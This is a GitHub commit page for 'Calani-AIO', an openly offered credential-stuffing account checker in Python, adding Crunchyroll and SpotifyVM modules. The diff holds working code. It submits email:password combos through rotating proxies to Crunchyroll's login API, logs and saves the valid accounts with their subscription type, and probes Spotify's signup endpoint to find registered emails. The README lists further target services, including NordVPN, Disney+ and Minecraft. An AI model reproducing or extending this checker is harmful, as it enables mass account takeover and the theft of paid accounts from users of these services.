Skip to content
This repository has been archived by the owner on Feb 23, 2024. It is now read-only.

Commit

Permalink
v0.1.6-alpha
Browse files Browse the repository at this point in the history
  • Loading branch information
Mickey758 committed Nov 7, 2021
1 parent 8aeb11a commit 28cb2c2
Show file tree
Hide file tree
Showing 6 changed files with 100 additions and 7 deletions.
18 changes: 15 additions & 3 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,8 @@ An all in account checker made in python. Made with multichecking and more. This
Download the exe version [here](https://github.com/Mickey758/Calani-AIO/releases)

# Progress

## Checklist
- [x] Log Checking Mode
- [x] Cui Checking Mode
- [x] Auto Updater
Expand All @@ -12,19 +14,29 @@ Download the exe version [here](https://github.com/Mickey758/Calani-AIO/releases
- [x] Multichecking
- [x] In-app Settings

## Modules
1. Minecraft
2. NordVPN
3. Bonkio
4. Disney+
5. Duolingo
6. Gfuel
7. Crunchyroll
8. SpotifyVM

# Other Info
Development of this this project will continue. I will be updating the binary and source regularly. Bug reports will be nice to have. If you find any post them [here](https://github.com/Mickey758/Calani-AIO/issues/new). Thanks for checking this out.

# Donate
## Donations
If you would like to show some appreciation for this free project, consider donating some crypto <3

- BTC: bc1qt6gcll4hp7wwqaap7x3lwunf9srw4enuxxddzn
- ETC: 0xd7F5C1AB4765Be15F738367905bF4E7Ea83eC9F7

# Credits
## Credits
Give credits if you are going to use the code

This project was started and is being developed by:
- Discord: MickeyYe#0003
- Youtube: Micx
- Github: Mickey758
- Github: Mickey758
11 changes: 9 additions & 2 deletions main.py
Original file line number Diff line number Diff line change
Expand Up @@ -38,15 +38,18 @@ class checker:
from modules.checkers import disney
from modules.checkers import duolingo
from modules.checkers import gfuel

from modules.checkers import crunchyroll
from modules.checkers import spotifyvm

modules_list = {
"nordvpn":nordvpn,
"minecraft":minecraft,
"bonk.io":bonk_io,
"disney+":disney,
"duolingo":duolingo,
"gfuel":gfuel
"gfuel":gfuel,
"crunchyroll":crunchyroll,
"spotifyvm":spotifyvm
}

def home():
Expand Down Expand Up @@ -81,6 +84,8 @@ def modules():
[{cyan}4{reset}] Disney+
[{cyan}5{reset}] Duolingo
[{cyan}6{reset}] Gfuel
[{cyan}7{reset}] Crunchyroll
[{cyan}8{reset}] SpotifyVM
[{cyan}>{reset}] Selected Modules: {str([x.title() for x in selected_modules]).replace("'","").replace("', '",", ")}
[{cyan}A{reset}] Add All Modules
Expand All @@ -94,6 +99,8 @@ def modules():
elif option == "4": selected_modules.append("disney+")
elif option == "5": selected_modules.append("duolingo")
elif option == "6": selected_modules.append("gfuel")
elif option == "7": selected_modules.append("crunchyroll")
elif option == "8": selected_modules.append("spotifyvm")
elif option == "s":
if selected_modules != []:
starter(selected_modules)
Expand Down
46 changes: 46 additions & 0 deletions modules/checkers/crunchyroll.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,46 @@
from __main__ import checker
from requests import post
from modules.functions import log,save,set_proxy

def check(email:str,password:str):
retries = 0
while retries != checker.retries:
proxy = set_proxy()
header = {
"Host": "api-manga.crunchyroll.com" ,
"Content-Type": "application/x-www-form-urlencoded" ,
"Accept": "*/*" ,
"Connection": "keep-alive" ,
"User-Agent": "Manga/4.2.0 (iPad; iOS 14.4; Scale/2.00)" ,
"Accept-Language": "nl-NL;q=1, ar-NL;q=0.9" ,
"Accept-Encoding": "gzip, deflate, br" ,
}
data = f"access_token=dcIhv87VpKsqLCZ&account={email}&api_ver=1.0&device_id=123-456-789&device_type=com.crunchyroll.manga.ipad&duration=6000&format=json&password={password}"
try:
r = post("https://api-manga.crunchyroll.com/cr_login",headers=header,data=data,proxies=set_proxy(proxy),timeout=checker.timeout)
if "Incorrect login information" in r.text:
retries += 1
elif "\"premium\":\"\"" in r.text:
if not checker.cui:
log("custom",email+":"+password,"Crunchyroll")
save("Crunchyroll","custom",checker.time,email+":"+password)
checker.custom += 1
checker.cpm += 1
return
elif "\"user_id\"" in r.text:
subscription = r.json()["data"]["user"]["access_type"]
if not checker.cui:
log("good",email+":"+password,"Crunchyroll")
save("Crunchyroll","good",checker.time,email+":"+password+f" | Subscription: {subscription}")
checker.good += 1
checker.cpm += 1
return
else:
raise
except:
checker.errors += 1
if not checker.cui:
log("bad",email+":"+password,"Crunchyroll")
checker.bad += 1
checker.cpm += 1
return
28 changes: 28 additions & 0 deletions modules/checkers/spotifyvm.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,28 @@
from __main__ import checker
from requests import get
from modules.functions import log,save,set_proxy

def check(email:str,password:str):
retries = 0
while retries != checker.retries:
proxy = set_proxy()
try:
r = get(f"https://spclient.wg.spotify.com/signup/public/v1/account?validate=1&email={email}",proxies=set_proxy(proxy),timeout=checker.timeout).text
if "That email is already registered to an account." in r:
if not checker.cui:
log("good",email+":"+password,"SpotifyVM")
save("SpotifyVM","good",checker.time,email+":"+password)
checker.good += 1
checker.cpm += 1
return
elif "Enter your email to continue." in r or "status\":1" in r:
retries += 1
else:
raise
except:
checker.errors += 1
if not checker.cui:
log("bad",email+":"+password,"SpotifyVM")
checker.bad += 1
checker.cpm += 1
return
2 changes: 1 addition & 1 deletion modules/updater.py
Original file line number Diff line number Diff line change
Expand Up @@ -12,7 +12,7 @@ def check():
print(f" [{cyan}>{reset}] Checking for updates")
try:
v = get("https://raw.githubusercontent.com/Mickey758/Calani-AIO/master/version").text.rstrip()
if v != "0.1.5.1-alpha":
if v != "0.1.6-alpha":
return True
else:
return False
Expand Down
2 changes: 1 addition & 1 deletion version
Original file line number Diff line number Diff line change
@@ -1 +1 @@
0.1.5.1-alpha
0.1.6-alpha

0 comments on commit 28cb2c2

Please sign in to comment.